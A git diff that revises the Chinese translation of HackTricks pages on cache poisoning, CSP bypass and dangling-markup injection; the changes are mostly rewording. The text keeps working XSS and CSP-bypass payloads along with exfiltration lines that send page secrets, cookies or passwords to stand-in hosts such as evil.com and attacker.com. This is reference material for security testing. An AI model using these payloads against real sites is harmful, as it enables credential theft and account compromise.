 - **主机头部大小写规范化**
 
-主机头部应该是不区分大小写的，但有些网站期望它是小写的，如果不是则会返回错误：
+主机头部应该是不区分大小写的，但某些网站期望它是小写的，如果不是则会返回错误：
 ```
 GET /img.png HTTP/1.1
 Host: Cdn.redacted.com
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index f214c3946..4922c7fba 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -5,7 +5,7 @@
 这是对帖子中提出的技术的总结 [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all)，目的是执行缓存中毒攻击 **利用缓存代理和Web服务器之间的差异。**
 
 > [!NOTE]
-> 此攻击的目标是 **让缓存服务器认为正在加载静态资源**，因此它会缓存该资源，而缓存服务器将路径的一部分存储为缓存键，但Web服务器响应解析另一个路径。Web服务器将解析实际路径，这将加载一个动态页面（可能存储有关用户的敏感信息、恶意负载如XSS，或重定向以从攻击者网站加载JS文件等）。
+> 此攻击的目标是 **让缓存服务器认为正在加载一个静态资源**，因此它会缓存该资源，而缓存服务器将路径的一部分存储为缓存键，但Web服务器响应解析另一个路径。Web服务器将解析实际路径，这将加载一个动态页面（可能存储有关用户的敏感信息、恶意负载如XSS，或重定向以从攻击者网站加载JS文件等）。
 
 ## Delimiters
 
@@ -18,7 +18,7 @@
 
 在此过程中可能会发现其他特定的分隔符：
 
-- **步骤1**：识别不可缓存的请求，并使用它们监控潜在分隔符的URL处理方式。
+- **步骤1**：识别不可缓存的请求，并使用它们监控潜在分隔符的URL是如何处理的。
 - **步骤2**：将随机后缀附加到路径，并比较服务器的响应以确定字符是否作为分隔符。
 - **步骤3**：在随机后缀之前引入潜在分隔符，以查看响应是否发生变化，指示分隔符的使用。
 
@@ -44,9 +44,9 @@
 
 - **扩展名**：Cloudflare将始终缓存以下扩展名的文件：7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
 - 可以通过使用分隔符和静态扩展强制缓存存储动态响应，例如请求 `/home$image.png` 将缓存 `/home$image.png`，而源服务器将响应 `/home`
-- **知名静态目录**：以下目录包含静态文件，因此其响应应被缓存：/static, /assets, /wp-content, /media, /templates, /public, /shared
+- **知名静态目录**：以下目录包含静态文件，因此它们的响应应该被缓存：/static, /assets, /wp-content, /media, /templates, /public, /shared
 - 可以通过使用分隔符、静态目录和点强制缓存存储动态响应，例如：`/home/..%2fstatic/something` 将缓存 `/static/something`，而响应将是 `/home`
 - **静态目录 + 点**：请求 `/static/..%2Fhome` 或 `/static/..%5Chome` 可能会按原样缓存，但响应可能是 `/home`
-- **静态文件**：一些特定文件始终被缓存，如 `/robots.txt`、`/favicon.ico` 和 `/index.html`。这可以被滥用，例如 `/home/..%2Frobots.txt`，其中缓存可能存储 `/robots.txt`，而源服务器响应 `/home`。
+- **静态文件**：一些特定文件总是被缓存，如 `/robots.txt`、`/favicon.ico` 和 `/index.html`。这可以被滥用，例如 `/home/..%2Frobots.txt`，其中缓存可能存储 `/robots.txt`，而源服务器响应 `/home`。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 15f6b436c..a8b9f6bf0 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 
 CSP 可以通过以下头部进行强制执行或监控：
 
-- `Content-Security-Policy`: 强制执行 CSP；浏览器阻止任何违规行为。
+- `Content-Security-Policy`: 强制执行 CSP；浏览器会阻止任何违规行为。
 - `Content-Security-Policy-Report-Only`: 用于监控；报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
 
 ### Defining Resources
@@ -69,8 +69,8 @@ object-src 'none';
 - `'unsafe-eval'`: 允许使用`eval()`和类似方法，出于安全原因不推荐使用。
 - `'unsafe-hashes'`: 启用特定的内联事件处理程序。
 - `'unsafe-inline'`: 允许使用内联资源，如内联`<script>`或`<style>`，出于安全原因不推荐使用。
-- `'nonce'`: 使用加密nonce（一次性使用的数字）对特定内联脚本进行白名单处理。
-- 如果您有JS限制执行，可以通过`doc.defaultView.top.document.querySelector("[nonce]")`获取页面内使用的nonce，然后重用它加载恶意脚本（如果使用了strict-dynamic，任何允许的来源都可以加载新来源，因此不需要这样做），如：
+- `'nonce'`: 使用加密nonce（一次性使用的数字）对特定内联脚本的白名单。
+- 如果您有JS限制执行，可以使用`doc.defaultView.top.document.querySelector("[nonce]")`在页面内获取使用的nonce，然后重用它加载恶意脚本（如果使用了strict-dynamic，任何允许的来源都可以加载新来源，因此这不是必需的），如：
 
 <details>
 
@@ -95,8 +95,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 - `blob:`：允许从 Blob URL 加载资源（例如，通过 JavaScript 创建的 Blob URL）。
 - `filesystem:`：允许从文件系统加载资源。
 - `'report-sample'`：在违规报告中包含违规代码的示例（对调试有用）。
-- `'strict-origin'`：类似于 'self'，但确保源的协议安全级别与文档匹配（只有安全源可以从安全源加载资源）。
-- `'strict-origin-when-cross-origin'`：在进行同源请求时发送完整 URL，但在跨源请求时仅发送源。
+- `'strict-origin'`：类似于 'self'，但确保源的协议安全级别与文档匹配（只有安全来源才能从安全来源加载资源）。
+- `'strict-origin-when-cross-origin'`：在进行同源请求时发送完整 URL，但在跨源请求时仅发送来源。
 - `'unsafe-allow-redirects'`：允许加载会立即重定向到另一个资源的资源。不推荐使用，因为这会削弱安全性。
 
 ## 不安全的 CSP 规则
@@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
-有效负载: `"/><script>alert(1);</script>`
+有效的有效载荷: `"/><script>alert(1);</script>`
 
 #### 通过 Iframes 的 self + 'unsafe-inline'
 
@@ -116,7 +116,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 ### 'unsafe-eval'
 
 > [!CAUTION]
-> 这不起作用，更多信息请[**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
+> 这不起作用，更多信息请 [**查看此处**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
@@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
 ### strict-dynamic
 
-如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中，并且是由一个允许的脚本创建的，那么**新的脚本标签将被允许执行**。
+如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中，并且因为是允许的脚本在创建它，**新的脚本标签将被允许执行**。
 
 ### Wildcard (\*)
 ```yaml
@@ -155,7 +155,7 @@ Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
 如果您可以上传一个 JS 文件，您可以绕过这个 CSP：
 
-工作负载：
+工作有效载荷：
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
@@ -163,11 +163,11 @@ Content-Security-Policy: script-src 'self';  object-src 'none' ;
 
 此外，即使您能够使用服务器接受的扩展名（如：_script.png_）在文件中上传**JS代码**，这也不够，因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**，而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如，从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名，因此它不会以**MIME类型如audio/***提供它。
 
-从这里开始，如果您发现了XSS和文件上传，并且设法找到一个**被误解的扩展名**，您可以尝试上传一个具有该扩展名和脚本内容的文件。或者，如果服务器正在检查上传文件的正确格式，可以创建一个多用途文件（[这里有一些多用途文件示例](https://github.com/Polydet/polyglot-database)）。
+从这里开始，如果您发现XSS和文件上传，并且设法找到一个**被误解的扩展名**，您可以尝试上传一个具有该扩展名和脚本内容的文件。或者，如果服务器正在检查上传文件的正确格式，可以创建一个多重格式文件（[一些多重格式示例在这里](https://github.com/Polydet/polyglot-database)）。
 
 ### Form-action
 
-如果无法注入JS，您仍然可以尝试通过**注入表单操作**来提取例如凭据（并可能期望密码管理器自动填充密码）。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。另外，请注意`default-src`不涵盖表单操作。
+如果无法注入JS，您仍然可以尝试通过**注入表单操作**来提取例如凭据（并可能期望密码管理器自动填充密码）。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。此外，请注意`default-src`不涵盖表单操作。
 
 ### 第三方端点 + ('unsafe-eval')
 
@@ -295,7 +295,7 @@ https://www.youtube.com/oembed?callback=alert;
 | 实体              | 允许的域名                                 | 能力         |
 | ----------------- | ------------------------------------------ | ------------ |
 | Facebook          | www.facebook.com, \*.facebook.com          | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io               | Exfil        |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io              | Exfil        |
 | Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net          | Exec         |
 | Amazon CloudFront | \*.cloudfront.net                          | Exfil, Exec  |
 | Amazon AWS        | \*.amazonaws.com                           | Exfil, Exec  |
@@ -313,7 +313,7 @@ Content-Security-Policy​: default-src 'self’ www.facebook.com;​
 ```
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
-您应该能够提取数据，就像一直以来使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一样。在这种情况下，您遵循以下一般步骤：
+您应该能够提取数据，就像一直以来使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 一样。在这种情况下，您可以按照以下一般步骤操作：
 
 1. 在此处创建一个 Facebook 开发者帐户。
 2. 创建一个新的“Facebook 登录”应用并选择“网站”。
@@ -339,11 +339,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
-浏览器最终将加载 `https://example.com/scripts/angular/angular.js`。
+浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。
 
-这有效是因为对于浏览器来说，您正在加载一个名为 `..%2fangular%2fangular.js` 的文件，该文件位于 `https://example.com/scripts/react/` 下，这符合 CSP。
+这之所以有效，是因为对于浏览器来说，您正在加载一个名为 `..%2fangular%2fangular.js` 的文件，该文件位于 `https://example.com/scripts/react/` 下，这符合 CSP。
 
-∑，它们将解码它，有效地请求 `https://example.com/scripts/react/../angular/angular.js`，这等同于 `https://example.com/scripts/angular/angular.js`。
+∑，它们会解码，从而有效地请求 `https://example.com/scripts/react/../angular/angular.js`，这等同于 `https://example.com/scripts/angular/angular.js`。
 
 通过 **利用浏览器和服务器之间 URL 解释的不一致性，可以绕过路径规则**。
 
@@ -362,15 +362,15 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
 如果缺少 **base-uri** 指令，您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/)。
 
 此外，如果 **页面使用相对路径加载脚本**（如 `<script src="/js/app.js">`）并使用 **Nonce**，您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本，从而实现 XSS。\
-如果易受攻击的页面使用 **httpS** 加载，请在 base 中使用 httpS URL。
+如果易受攻击的页面是通过 **httpS** 加载的，请在 base 中使用 httpS URL。
 ```html
 <base href="https://www.attacker.com/" />
 ```
 ### AngularJS 事件
 
-一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。尽管如此，AngularJS 引入了自定义事件作为替代。在事件中，AngularJS 提供了一个独特的对象 `$event`，引用原生浏览器事件对象。这个 `$event` 对象可以被利用来规避 CSP。值得注意的是，在 Chrome 中，`$event/event` 对象具有一个 `path` 属性，包含一个对象数组，涉及事件的执行链，`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
+一个特定的策略称为内容安全策略 (CSP) 可能会限制 JavaScript 事件。然而，AngularJS 引入了自定义事件作为替代。在事件中，AngularJS 提供了一个独特的对象 `$event`，引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是，在 Chrome 中，`$event/event` 对象具有一个 `path` 属性，包含一个对象数组，涉及事件的执行链，`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
 
-通过将这个数组传递给 `orderBy` 过滤器，可以对其进行迭代，利用终端元素（`window` 对象）触发一个全局函数，如 `alert()`。下面演示的代码片段阐明了这个过程：
+通过将这个数组传递给 `orderBy` 过滤器，可以对其进行迭代，利用终端元素（`window` 对象）触发一个全局函数，如 `alert()`。下面的代码片段阐明了这个过程：
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-在Angular JS应用程序中，允许脚本加载的CSP策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息，请参阅此[git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)上的详细指南。
+在Angular JS应用程序中，允许脚本加载的CSP策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息，请参阅此[git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)中提供的详细指南。
 
 有效的有效载荷：
 ```html
@@ -419,7 +419,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 </body>
 </html>
 ```
-如果 CSP 设置为 `https://www.google.com/a/b/c/d`，由于路径被考虑，`/test` 和 `/a/test` 脚本将被 CSP 阻止。
+如果 CSP 设置为 `https://www.google.com/a/b/c/d`，由于路径被考虑，`/test` 和 `/a/test` 的脚本将被 CSP 阻止。
 
 然而，最终的 `http://localhost:5555/301` 将在服务器端 **重定向到 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是一个重定向，**路径不被考虑**，因此 **脚本可以被加载**，从而绕过路径限制。
 
@@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
 ```
 `'unsafe-inline'` 意味着您可以在代码中执行任何脚本（XSS 可以执行代码），而 `img-src *` 意味着您可以在网页中使用来自任何资源的任何图像。
 
-您可以通过图像泄露数据来绕过此 CSP（在这种情况下，XSS 利用一个可被机器人访问的页面中的 CSRF，该页面包含 SQLi，并通过图像提取标志）：
+您可以通过图像泄露数据来绕过此 CSP（在这种情况下，XSS 滥用一个 CSRF，其中一个可被机器人访问的页面包含 SQLi，并通过图像提取标志）：
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@@ -462,7 +462,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 
 #### Chrome
 
-如果您发送的**参数**被**粘贴到****策略的声明**中，那么您可以以某种方式**更改**该**策略**使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**：
+如果您发送的**参数**被**粘贴到****策略的声明**中，那么您可以以某种方式**更改**该**策略**，使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**：
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@@ -478,7 +478,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ### img-src \*; 通过 XSS (iframe) - 时间攻击
 
 注意缺少指令 `'unsafe-inline'`\
-这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容，但如果你能**控制页面加载所需的时间**，你可以提取所需的信息。
+这次你可以让受害者通过 **XSS** 使用 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容，但如果你能**控制页面加载所需的时间**，你可以提取所需的信息。
 
 这次将提取一个**标志**，每当通过 SQLi **正确猜测一个字符**时，**响应**由于 sleep 函数会**花费更多时间**。然后，你将能够提取标志:
 ```html
@@ -548,7 +548,7 @@ run()
 
 ### 通过限制CSP绕过CSP
 
-在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中，通过在允许的iframe内注入更严格的CSP来绕过CSP，该CSP不允许加载特定的JS文件，然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。
+在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中，CSP通过在允许的iframe内注入更严格的CSP来绕过，该CSP不允许加载特定的JS文件，然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。
 
 您可以使用**`csp`**属性**限制iframe的CSP**：
 ```html
@@ -556,7 +556,7 @@ run()
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-在 [**这个 CTF 写作**](https://github.com/aszx87410/ctf-writeups/issues/48) 中，通过 **HTML 注入** 可以 **进一步限制** **CSP**，从而禁用防止 CSTI 的脚本，因此 **漏洞变得可利用。**\
+在 [**这个 CTF 文章**](https://github.com/aszx87410/ctf-writeups/issues/48) 中，通过 **HTML 注入** 可以 **进一步限制** **CSP**，从而禁用防止 CSTI 的脚本，因此 **漏洞变得可利用。**\
 可以使用 **HTML 元标签** 使 CSP 更加严格，并且可以通过 **移除** 允许其 **nonce** 的 **入口** 来禁用内联脚本，并通过 sha **启用特定的内联脚本**：
 ```html
 <meta
@@ -579,7 +579,7 @@ document.querySelector("DIV").innerHTML =
 ```
 ### 利用CSP和Iframe泄露信息
 
-- 创建一个指向一个URL的`iframe`（我们称之为`https://example.redirect.com`），该URL被CSP允许。
+- 创建一个指向URL的`iframe`（我们称之为`https://example.redirect.com`），该URL被CSP允许。
 - 该URL随后重定向到一个秘密URL（例如，`https://usersecret.example2.com`），该URL在CSP中**不被允许**。
 - 通过监听`securitypolicyviolation`事件，可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名，从而泄露了初始URL重定向的秘密域名。
 
@@ -589,7 +589,7 @@ document.querySelector("DIV").innerHTML =
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-通过监控哪些请求被CSP阻止或允许，可以缩小秘密子域名中可能的字符，最终揭示完整的URL。
+通过监控哪些请求被CSP阻止或允许，可以缩小秘密子域名中可能的字符范围，最终揭示完整的URL。
 
 这两种方法利用了CSP在浏览器中的实现和行为的细微差别，展示了看似安全的策略如何无意中泄露敏感信息。
 
@@ -603,14 +603,14 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
 
 ### PHP响应缓冲区溢出
 
-PHP默认情况下**将响应缓冲到4096**字节。因此，如果PHP显示警告，通过提供**足够的数据在警告中**，**响应**将在**CSP头**之前**发送**，导致头被忽略。\
+PHP默认情况下**将响应缓冲到4096**字节。因此，如果PHP显示警告，通过提供**足够的数据在警告中**，**响应**将**在**CSP**头之前**被**发送**，导致头被忽略。\
 然后，这种技术基本上是**用警告填充响应缓冲区**，以便CSP头不被发送。
 
-想法来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)。
+想法来自[**这篇写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)。
 
 ### 重写错误页面
 
-根据[**这个写作**](https://blog.ssrf.kr/69)，似乎可以通过加载一个错误页面（可能没有CSP）并重写其内容来绕过CSP保护。
+根据[**这篇写作**](https://blog.ssrf.kr/69)，似乎可以通过加载一个错误页面（可能没有CSP）并重写其内容来绕过CSP保护。
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 ```
 ### SOME + 'self' + wordpress
 
-SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中**滥用****同一来源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点，然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样，**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息，请查看：
+SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中**滥用** **同一来源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点，然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样，**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问** **要滥用的真实端点的DOM**。有关更多信息，请查看：
 
 {{#ref}}
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
@@ -627,7 +627,7 @@ SOME是一种利用XSS（或高度限制的XSS）**在页面的一个端点**中
 
 此外，**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点，该端点将**反射**输出中发送的**数据**（仅限字母、数字和点的限制）。
 
-攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中，请注意这个**脚本**将被**加载**，因为它是**被'self'允许的**。此外，由于安装了WordPress，攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**，该端点**绕过CSP**以给予用户更多权限，安装新插件...\
+攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入到`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中，请注意这个**脚本**将被**加载**，因为它是**被'self'允许的**。此外，由于安装了WordPress，攻击者可能会通过**易受攻击的** **回调**端点滥用**SOME攻击**，该端点**绕过CSP**以给予用户更多权限，安装新插件...\
 有关如何执行此攻击的更多信息，请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
 ## CSP Exfiltration Bypasses
@@ -678,9 +678,9 @@ X-DNS-Prefetch-Control: off
 
 ### WebRTC
 
-在几个页面上你可以看到 **WebRTC 不检查 CSP 的 `connect-src` 策略**。
+在几个页面上你可以看到**WebRTC不检查CSP的`connect-src`策略**。
 
-实际上，你可以通过 _DNS 请求_ _泄露_ 信息。查看这段代码：
+实际上，你可以通过一个_DNS请求_来_泄露_信息。查看这段代码：
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
index bae295858..30a33139a 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
@@ -4,7 +4,7 @@ Content-Security-Policy: default-src 'self' 'unsafe-inline';
 ```
 禁止使用任何作为字符串传输的代码执行函数。例如：`eval, setTimeout, setInterval` 将因设置 `unsafe-eval` 而被阻止。
 
-来自外部来源的任何内容也会被阻止，包括图像、CSS、WebSockets，尤其是 JS。
+来自外部源的任何内容也会被阻止，包括图像、CSS、WebSockets，尤其是 JS。
 
 ### 通过文本和图像
 
diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
index 4de2163ea..9ecffc71d 100644
--- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
+++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
@@ -2,20 +2,20 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Resume
+## 简介
 
-此技术可用于在发现**HTML注入**时从用户提取信息。如果你**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法，但可以**注入一些HTML标签**，这非常有用。\
-如果某些**秘密以明文形式保存在HTML中**，并且你想从客户端**提取**它，或者如果你想误导某些脚本执行，这也很有用。
+此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法，但可以**注入一些HTML标签**，这非常有用。\
+如果某些**秘密以明文形式保存在HTML中**，并且您想要**从客户端提取**它，或者如果您想误导某些脚本执行，这也很有用。
 
 这里评论的几种技术可以通过以意想不到的方式（html标签、CSS、http-meta标签、表单、base等）提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
 
-## Main Applications
+## 主要应用
 
-### Stealing clear text secrets
+### 偷取明文秘密
 
-如果你在页面加载时注入`<img src='http://evil.com/log.cgi?`，受害者将向你发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中，你将窃取它（你可以使用双引号做同样的事情，看看哪个更有趣）。
+如果您在页面加载时注入`<img src='http://evil.com/log.cgi?`，受害者将向您发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中，您将窃取它（您可以使用双引号做同样的事情，看看哪个更有趣）。
 
-如果`img`标签被禁止（例如由于CSP），你也可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
+如果`img`标签被禁止（例如由于CSP），您也可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
 ```html
 <img src='http://attacker.com/log.php?HTML=
 <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
@@ -23,7 +23,7 @@
 ```
 请注意，**Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL**，因此您可以尝试其他协议方案，如 "ftp"。
 
-您还可以滥用 CSS `@import`（将发送所有代码，直到找到 ";"）
+您还可以滥用 CSS `@import`（将发送所有代码，直到找到 ";"）。
 ```html
 <style>@import//hackvertor.co.uk?     <--- Injected
 <b>steal me!</b>;
@@ -32,7 +32,7 @@
 ```html
 <table background='//your-collaborator-id.burpcollaborator.net?'
 ```
-您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送，但这需要一些用户交互（用户必须点击某个链接，因为基本标签将更改链接指向的域）：
+您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送，但这需要一些用户交互（用户必须点击某个链接，因为 base 标签将更改链接指向的域）：
 ```html
 <base target='        <--- Injected
 steal me'<b>test</b>
@@ -67,7 +67,7 @@ I get consumed!
 ```
 该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。
 
-您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个关闭的`</option>`都会被发送：
+您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个闭合的`</option>`将被发送：
 ```html
 <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
 ```
@@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
 ```
 ### 误导性脚本工作流程 1 - HTML 命名空间攻击
 
-在 HTML 中插入一个带有 id 的新标签，该标签将覆盖下一个标签，并且其值将影响脚本的流程。在此示例中，您正在选择与谁共享信息：
+在 HTML 中插入一个带有 id 的新标签，该标签将覆盖下一个标签，并且其值将影响脚本的流程。在这个例子中，您正在选择与谁共享信息：
 ```html
 <input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
 Share this status update with: ← Legitimate optional element of a dialog
@@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
 ... function submit_status_update() { ... request.share_with =
 document.getElementById('share_with').value; ... }
 ```
-### 误导性脚本工作流 2 - 脚本命名空间攻击
+### 误导性脚本工作流程 2 - 脚本命名空间攻击
 
 通过插入 HTML 标签在 JavaScript 命名空间内创建变量。然后，这个变量将影响应用程序的流程：
 ```html
@@ -186,7 +186,7 @@ onload="cspBypass(this.contentWindow)"></iframe>
 
 ### 新的 \<portal HTML 标签
 
-您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于 \<portal 标签可利用漏洞的 **有趣研究**。\
+您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于可利用的 \<portal 标签漏洞的 **非常有趣的研究**。\
 在撰写本文时，您需要在 `chrome://flags/#enable-portals` 中启用 portal 标签，否则它将无法工作。
 ```html
 <portal src='https://attacker-server?
